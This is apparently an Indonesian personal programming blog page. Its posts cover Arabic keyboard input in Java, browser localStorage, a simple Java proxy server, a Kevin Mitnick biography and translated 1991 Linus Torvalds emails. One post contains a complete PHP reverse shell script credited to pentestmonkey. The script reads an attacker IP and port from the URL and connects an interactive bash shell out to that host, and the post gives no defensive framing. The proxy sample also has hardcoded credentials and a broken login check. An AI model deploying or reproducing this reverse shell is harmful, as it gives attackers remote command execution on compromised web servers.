Nulis Karakter Arab dengan Java

4 Comments

Pada dasarnya bahasa (Cina,jepang,arab,yunani,dll) apapun di java akan dengan sangat mudah tuk diaplikasikan. Kuncinya ada pada kata UNICODE, berikut istilah unicode yang ane lihat di wiki:
“Unicode adalah suatu standar industri yang dirancang untuk mengizinkan teks dan simbol dari semua sistem tulisan di dunia untuk ditampilkan dan dimanipulasi secara konsisten oleh komputer.”

Nah unicode itu adalah kumpulan dari seluruh karakter dan simbol yang ada dan yang pernah ada di muka bumi ini.Dengan menggunakan Unicode, tidak hanya huruf Latin yang dapat dicakup, melainkan juga huruf – huruf yang digunakan oleh berbagai bangsa seperti Jepang, Korea, dan arab, dll. Unicode dapat menampung berbagai macam huruf karena setiap karakter ditampung dengan 16 bit (ASCII standar hanya menggunakan 7 bit). Kabar gembiranya adalah Java tidak menggunakan himpunan kode ASCII untuk menyatakan karakter, melainkan memakai himpunan Unicode itu. Jadi karakter dan simbol yang dapat ditampung sebesar 2 pangkat 16.

Dalam artikel ini q bwt contoh gimana menuliskan huruf arab pada komponen textbox dan textpane dalam java dengan keyboard yang biasa qt pake. Screenshoot programnya akan tampak seperti ini
Arab kaakter
Di sini qt hanya maen-maen pada method “processKeyEvent” dari sebuah komponen dalam java. Ketika qt mengetikkan sesuatu pada keyboard maka method inilah yang nantinya dipanggil. Nah dari situlah nantinya qt tanggkap huruf apa yang diketik kemudian menggantinya dengan huruf arab yang telah didefinisikan pada sebuah file *.mus

Dalam contoh program ini akan ada 5 file diantaranya adalah:
Arabic.mus merupakan tabel pasangan karakter yang ada dikeyboard dengan arabnya.
UserKeyMap.java bertugas untuk meload karakter dan simbol dari file *.mus
TextField.java merupakan kelas turunan dari TextField dan telah di overried pada method processKeyEvent nya.
TextPane.java
app.java berupakan kelas main nya…

Dan berikut method processKeyEvent yang udah dimodifikasi dari kelas TextField.java

@Override
protected void processKeyEvent(KeyEvent e)  {
int     pos; 
String  previous_chars;
char    accented_character;
char    deadkey;
String  replacement;
int  the_key_code = e.getKeyCode();
int  the_key_id   = e.getID();
char[] typed_key_array = {0};
typed_key_array[0] = e.getKeyChar();
typed_key          = e.getKeyChar();
if (the_key_code == KeyEvent.VK_ENTER && 
the_key_id == KeyEvent.KEY_RELEASED) {
replaceSelection("n");
e.consume();
return;
} else
if (the_key_code == KeyEvent.VK_TAB) {
if (the_key_id == KeyEvent.KEY_PRESSED) replaceSelection("t");
e.consume();
requestFocus(); 
return;
} else if (UserKeyMap.isEnabled()) {   
if (typed_key < '!' || typed_key > '~') {
            super.processKeyEvent(e);
            if (the_key_code != KeyEvent.VK_SHIFT && 
                the_key_code != KeyEvent.VK_ALT) {
               previously_typed = ' ';
            }
            return;
}
if (the_key_id == KeyEvent.KEY_PRESSED || 
the_key_id == KeyEvent.KEY_RELEASED) return;
replacement = UserKeyMap.translate(previously_typed, typed_key);
if (replacement != null) {
        pos = getCaretPosition();
        select(pos-1, pos);
        previously_typed = ' ';
        return;
}

         replacement = UserKeyMap.translate(typed_key, e.isControlDown(), e.isAltDown());
         if (replacement != null) {
            replaceSelection(replacement);
            if (typed_key >= '!' || typed_key <= '~') previously_typed = typed_key;
            return;
         }
         super.processKeyEvent(e);
            if (typed_key >= '!' || typed_key <= '~') previously_typed = typed_key;
      } else { 
         super.processKeyEvent(e);
         if (the_key_id == KeyEvent.KEY_RELEASED) {
            if (typed_key >= '!' || typed_key <= '~') previously_typed = typed_key;
         }
      }

   } 

intinya hanya ada pada kode “UserKeyMap.translate” yaitu untuk mengganti karakter yang diketik di keyboard dengan yang ada pada tabel Arabic.mus. Tapi sebelumnya harus load dulu Arabic nya dengan memanggil:

UserKeyMap.loadUserKeyMap("Arabic.mus");

Oke demikian dulu…moga artikel ini bermanfaat bwt teman2 smua…Tuk source lengkapnya dapat didownload di sini:
http://www.4shared.com/file/S0cKz5nq/Simple_Arab.html

Reverse Shell Code

No Comments

Ini adalah skrip Reverse Shell Code yang ane dapat dari pentestmonkey.net

<?php
//pentestmonkey.net
set_time_limit (0);
$VERSION = "1.0";
$ip = $_GET["ip"]; 
$port = $_GET["port"]; 
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = '/bin/bash -p -i';
$daemon = 0;
$debug = 0;
 
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
 
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
 
	if ($pid) {
		exit(0);  //Parent exits
	}
 
	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}
 
	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}
 
// Change to a safe directory
chdir("/");
 
// Remove any umask we inherited
umask(0);
 
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}
 
// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);
 
$process = proc_open($shell, $descriptorspec, $pipes);
 
if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}
 
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
 
printit("Successfully opened reverse shell to $ip:$port");
 
while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}
 
	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}
 
	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
 
	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}
 
	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}
 
	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}
 
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
 
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$stringn";
	}
}
?>

*Happy Coding

Penyimpanan data pada Local Storage

2 Comments

Pertanyaan besar adalah bagaimana menyimpan data atau objek secara persistence di sisi klien/browser.??? Dari hasil browsing, saya temukan bahwa bisa juga objek disimpan persistence dengan menggunakan cookies. Cookies yang biasa digunakan untuk menyimpan data dengan tipe sederhana ternyata bisa juga dibuat untuk menyimpan data objek JSON dengan tipe campuran. Tapi dalam artikel ini saya tawarkan alternatif lain dari penyimpanan data lokal dengan cookies, yang saya maksud adalah menggunkan web storage atau dikenal juga DOM Storage.
Penjelasan yang tepat tentang web storage adalah: “Web Storage (or DOM Storage) represents a mechanism for persisting data on the client”. Web Storage dibagi menjadi dua Session Storage dan Local Storage dan berikut adalah penjelasan dari yang saya dapat di internet

“There are two kinds of storage global objects: sessionStorage and localStorage.
* sessionStorage maintains a storage area that’s available for the duration of the page session. A page session lasts for as long as the browser is open and survives over page reloads and restores. Opening a page in a new tab or window causes a new session to be initiated.
* localStorage maintains a storage area that can be used to hold data over a long period of time (e.g. over multiple pages and browser sessions). It’s not destroyed when the user closes the browser or switches off the computer.”

Dalam tulisan ini akan saya contohkan bagaimana menyimpan data ke dalam local storage. Keuntungannya adalah data tidak akan hilang walaupun browser ditutup atau komputer dimatikan. Contoh ini hanya menambahkan data ke dalam local storage dan juga akan menghapus data pada bagian aksinya. Berikut adalah screenshoot nya
blog
Source untuk menambahkan data:

Blog.$form.addEventListener("submit", function(event) {
var entry = {
id: parseInt(this.id_entry.value),
nama: this.nama.value,
email: this.email.value,
alamat: this.alamat.value
};
if (entry.id == 0) {
Blog.storeAdd(entry);
Blog.tableAdd(entry);
}
this.reset();
this.id_entry.value = 0;
event.preventDefault();
}, true);

Source untuk menghapus data:

Blog.$table.addEventListener("click", function(event) {
var op = event.target.getAttribute("data-op");
if (/remove/.test(op)) {
var entry = JSON.parse(window.localStorage.getItem("Blog:"+ event.target.getAttribute("data-id")));
if (op == "remove") {
if (confirm('Apakah anda yakin menghapus data blog "'+ entry.nama +'" dari local storage?')) {
Blog.storeRemove(entry);
Blog.tableRemove(entry);
}
}
event.preventDefault();
}
}, true);

Untuk source lengkapnya dapat didownload di sini
http://www.ziddu.com/download/12559980/blog.rar.html

Buat Simple Proxy Server

3 Comments

Proxy server biasa digunakan untuk meneruskan paket masuk dan keluar, dalam artikel ini kan kita temukan bagaimana membuat sebuah proxy sederhana yang mampu meminta autentikasi pengguna dan meneruskannya pada sebuah service yang ada atau remote service.

String host = "localhost";
int remoteport = 2002;
int localport = 111;

Port yang saya pakai untuk port service proxy server adalah 111 dan untuk service aplikasi remote 2002. Dalam contoh yang saya buat ini, baik proxy server maupun remote aplikasi berada pada satu komputer localhost.

......
System.out.println("Starting proxy pada " + host + ":" + remoteport
+ " on port " + localport);
fl=new File("log.txt");
if(!fl.exists())fl.createNewFile();
fisl=new FileReader(fl);bufl=new BufferedReader(fisl);
fosl=new FileOutputStream(fl);
runServer(host, remoteport, localport);
......
public void runServer(String host, int remoteport, int localport) throws IOException {
ServerSocket ss = new ServerSocket(localport);
......

Kode diatas akan menjalankan proxy server dan membuka sebuah file untuk mencatat semua semua paket yang masuk. Sampai dari sini baik remote aplikasi dan proxy sudah dalam keadaan listening.

	client = ss.accept();
	log("Client pada host "+client.getInetAddress()+" terkoneksi pada proxy");
        final InputStream streamFromClient = client.getInputStream();
        final OutputStream streamToClient = client.getOutputStream();
        PrintWriter out = new PrintWriter(streamToClient,true);
	BufferedReader inp = new BufferedReader(new InputStreamReader(streamFromClient));
        //===========
        out.println("Autentikasi Proxy: ");
	out.println("Username: ");String user=inp.readLine();
        out.println("Password: ");String pass=inp.readLine();
	if(!user.equals("muse") && !pass.equals("ioc")){
	log(client.getInetAddress()+" akses denied...");
	out.println("Sorry....Akses denied..");
	continue;
	}else{
	out.println("Autentikasi Proxy.......OK");
	log(client.getInetAddress()+" berhasil mengakses aplikasi");
	}
	//===========

Ketika ada pengguna yang ingin mengakses sebuah service, ia harus melewati proxy server dan akan dimintai autentikasi dari proxy. Username dan Password kemudian akan dicek apakah akan dapat diterima atau tidak, jika diterima maka pengguna akan dibuatkan sebuah saluran untuk berkomunikasi dengan service remote.

....
server = new Socket(host, remoteport);
....

Dan kode berikut adalah kode yang paling penting dari program ini

...
 while ((bytesRead = streamFromClient.read(request)) != -1) {
 streamToServer.write(request, 0, bytesRead);
 streamToServer.flush();
 }
...
 while ((bytesRead = streamFromServer.read(reply)) != -1) {
 streamToClient.write(reply, 0, bytesRead);
 streamToClient.flush();
 }
...

Kode diatas akan meneruskan paket dari pengguna ke remote service dan begitu pula sebaliknya.
Proxy server ini sangat sederhana sekali dan masih sangat banyak untuk dikembangkan sehingga menjadi program yang layak untuk dipakai dalam jaringan yang lebih luas.
Source lengkap dapat didownload disini

http://www.ziddu.com/download/12527684/simpleProxyMuse.rar.html

Biografi Hacker Legendaris: Kevin Mitnick

No Comments

buku
Kevin mitnick adalah pemuda kelahiran Amerika, agustus 1963, pemuda ini biasa dikenal sebagai hacker legendaris. Keluarga kevin bukanlah orang berada, sehingga mengenal komputer dan memperoleh kemampuannya di toko radioshack dan perpustakaan umum tempat dia biasa menghabiskan waktu. Tapi cerita awal seorang kevin mitnick bukanlah cerita baik-baik, pada umur 17 tahun Kevin sudah mulai merasakan dinginnya teralis besi akibat melakukan hacking pada komputer COSMOS (Computer System Mainstrem Operation) milik perusahaan telepon Pasific Bell di Los Angeles, yang merupakan sentral database telepon Amerika.

Dipenjara tidak membuat The Condor ini [ID yang digunakan kevin mitnick] jera. Kemudian pada tahun 1983 dia dituduh membobol sistem keamanan PENTAGON menggunakan ARPANet melalui terminal kampus USC, dan lagi-lagi condor harus merasakan dinginnya dinding penjara.

Setelah bebas, kevin mencari kehidupan lain dan menghilang dari dunia hacker. Tapi hal tersebut tidak berlangsung lama, karena pada tahun 1987 dia lagi-lagi harus berurusan dengan pihak berwajib. Dia dituduh menyusup perusahaan Santa Cruz Organization, perusahaan software yang bergerak di sistem operasi unix.

Pada kasus ini The condor mendapat dakwaan melakukan tindakan yang kurang baik dan kembali masuk bui selama 3 tahun. Setelah bebas, kebiasaan mitnick kembali terulang dan berurusan dengan pihak berwajib akibat melakukan pembobolan dan pembajakan software milik Digital Equipment Corporation yaitu Sistem Operasi VMS.

Pada kasus ini mitnick tidak melakukannya sendiri, ia “duet” dengan temannya Lenny Cicicco dan diganjar hukuman penjara selama 1 tahun serta mendapat sebutan dari pengacaranya ‘kecanduan pada komputer yang tidak bisa dihentikan’.

Setelah bebas, mitnick kembali mencoba mejalani hidup normal dan bekerja disalah satu perusahaan mailing list di Las Vegas. Tapi saat bekerja di perusahaan tersebut, oleh FBI mitnick dicurigai mengacak-acak sistem komputer Tel Tec Detective, yang merupakan perusahaan tempat mitnick bekerja. Dan akhirnya membuat The Condor kembali menjadi The Most Wanted Hacker atau buronan nomor 1 FBI.

Mitnick harus menjalani kehidupan nomaden, berpindah dari satu kota ke kota lain, dan selama menjadi buronan tersebut mitnick membobol beberapa perusahaan seperti Fujitsu, Motorola, Nokia, dan Sun Microsystems. Pada Februari tahun 1995 langkah mitnick terhenti oleh FBI, semua itu akibat usaha FBI dan bantuan seorang hacker yang juga merupakan korban The Condor, yaitu Tsutomu Shimomura.

Mitnick tertangkap akibat keteledorannya memakai Layanan penyimpanan dari rekening seseorang yang dibobolnya dan layanan tersebut menginformasikan kepada pemilik rekening bahwa rekeningnya sudah over quota. Sebelum ditangkap, mitnick sedang melacak balik orang yang sedang mengejarnya, tapi pada saat yang bersamaan FBI menjadi “tamu” tak diundang di rumah pelarian mitnick.

Repost: http://kolom-biografi.blogspot.com/2009/02/biografi-kevin-mitnick-legenda-dunia.html

Ajakan Bergabung Linus Benedict Torvalds

No Comments

Date: Sat, 5 Oct 1991 05:41:06 GMT
Reply-To: INFO-MINIX@UDEL.EDU
Sender: INFO-MINIX-ERRORS@PLAINS.NODAK.EDU
Comments: Warning-original Sender: Tag was info-minix-request@UDEL.EDU
From: Linus Benedict Torvalds
Subject: Free minix-like kernel sources for 386-AT

Apakah kamu merindukan hari-hari manis minix-1.1 kala lelaki adalah lelaki dan menulis device driver nya sendiri? Apakah kamu sedang tidak ada proyek bagus dan hampir-hampir putus asa ingin mengasah gigimu pada sebuah OS yang bisa kamu coba modifikasi untuk keperluanmu? Apakah kamu frustasi saat segala sesuatunya berjalan mulus pada minix? Tidak ada lagi begadang untuk berusaha membuat prrogram genit untuk berfungsi? Maka pesan ini memang untuk kamu :-)
Seperi saya kabarkan sebulan yang lalu,saya tengah menggarap sebuah versi bebas dari kembaran minix untuk komputer AT-386. Ia telah mencapai tahapan tempat ia benar-benar layak pakai (meski belum tentu sesuai keinginanmu), dan saya rela melepas baris [kode] nya untuk penyebaran yang lebih luas. Ini baru versi 0.02 (+1 patch), tapi saya berhasil menjalankan bash/gcc/gnu-make/gnu-sed/compress dll dengannya.
Baris [kode] proyek isengku ini dapat ditemukan di nic.funet.fi (128.214.6.100) dalam direktori /pub/OS/linux. Direktori ini juga berisi beberapa file README dan sejumlah program yang berjalan diatas linux (bash,update dan gcc), apa lagi coba yang kamu mau :-) . Baris kode kernel lengkap tersedia, karena tidak ada kode minix yang terlibat. Baris kode library hanya setengah bebas, jadi tida dapat didistribusikan saat ini. Sistem ini dapat dikompilasi “apa adanya” dan telah diketahui berfungsi. Heh. Baris kode biner (bash dan gcc) dapat ditemukan ditempat yang sama dalam /pub/gnu.
AWAS! PERINGATAN! CATATAN! Baris-baris kode ini masih membutuhkan minix-386 untuk dapat dikompilasi (dan gcc-1.40, barangkali juga 1.37.1, belum diuji), dan kamu butuh minix untuk mempersiapkannya bila ingin memakainya, jadi ia belum merupakan sistem mandiri bagi kamu-kamu yang tidak punya minix. Saya masih mengerjakannya. Kamu juga mesti semacam seorang hacker untuk menyiapkannya (?), jadi bagi mereka yang mengharapkan alternatif bagi minix-386m tolong abaikan saya. Ia untuk saat ini diperuntukkan bagi para hacker yang tertarik pada sistem operasi dan 386 serta memiliki minix.
Sistem ini membutuhkan hard disk yang kompatibel AT (IDE cukup) dan EGA/VGA. Jika kamu masih tertarik, silakan ftp file RRADME/RELNOTES, dan/atau surati saya untuk info tambahan.
Saya dapat (yah,hampir) mendengarmu bertanya pada diri sendiri “Buat apa?” Hurd akan keluar setahun lagi (atau dua, atau bulan depan siapa tau), dan lagi saya sudah punya minix. Ini program untuk hacker dari seorang hacker. Saya menikmati saat saya mengerjakannya, dan seseorang barangkali menikmati saat melihat-lihatnya atau bahkan memodifikasinya untuk kebutuhannya sendiri. Ia masih cukup kecil untuk dipahami, digunakan, dan dimododifikasi, dan saya menunggu komentar apapun darimu.
Saya juga tertarik mendengar dari siapa pun sipakah yang menulis utilitas/fungsi librari apa pun untuk minix. Jika karyamu boleh didistribusikan bebas (berhak cipta atau bahkan domain public), saya berminat mendengar darimu, agar saya dapat memasukkannya kedalam sistem. Saya tengah menggunakan estdio-nya Earl Chews saat ini (trims buat sistem yang bagus dan berfungsimu Earl), dan karya serupa akan disambut dengan hangat. (C)-mu tentu akan dibiarkan tak terganggu. Kirimi saya sepatah dua kata jika kamu bersedia membiarkanku menggunakan kodemu.

Linus

Nb. Untuk PHIL NELSON! Saya tidak berhasil berkirim surat kepadamu, dan selalu menerima pesan “forward error-strawberry unknown domain” atau sebangsanya.

Lahirnya Linux

2 Comments

Ada dua email yang menginisiasi linux. Email pertama mengumumkan keberadaan sebuah tiluna mungil “sekedar iseng”. Email kedua merupakan ajakan bergabung pada para hacker untuk “cut your teeth”(mengasah taring) alias “scratching your itch”

Tanggal: Minggu, 25 Ags 1991 20:57:08 GMT
Alamat-balas: INFO_MINIX@UDEL.EDU
Pengirim: INFO-MINIX-ERROR@PLAINS.NODAK.EDU
Catatan: Warning-original Sender: tag was info-minix-request@UDEL.EDU
Dari: Linis Benedict Torvalds
Perihal: Apa yang paling ingin anda lihat pada minix?

Salam semua di sana yang menggunakan minix -
Saya menggarap sebuah sistem operasi (bebas) (hanya hobi, tidak akan sebesar dan profesional seperti gnu) untuk klon AT 386(486). Ini sudah digodok sejak april, dan sudah mulai tampak siap. Saya menyenangi umpan balik apapun tentang yang disukai/tidak disukai orang seputar minix, karena OS saya agak-agak menyerupainya (tata letak fisik sistem file sama).
Saya baru saja memasukkan bash(1.08) dan gcc (1.40), dan agaknya semuanya tidak bermasalah. Ini artinya, saya akan memiliki sesuatu yang layak pakai dalam beberapa bulan lagi, dan saya ingin tahu fitur-fitur apa yang umumnya orang inginkan. Saran apa pun diterima, tapi saya tidak janji mengimplementasikannya. :-)
Linus (torvalds@kruuna.helsinki.fi)

Nb. Ya-[tiluna] ini bebas dari kode minix, dan ia memiliki sistem file yang multi-threaded. Ia TIDAK portabel (bisa 386 task switching dll), dan ia mungkin tidak akan mendukung apa pun kecuali AT-harddisk, karena itulah satu-satunya yang saya punya :-(

Older Entries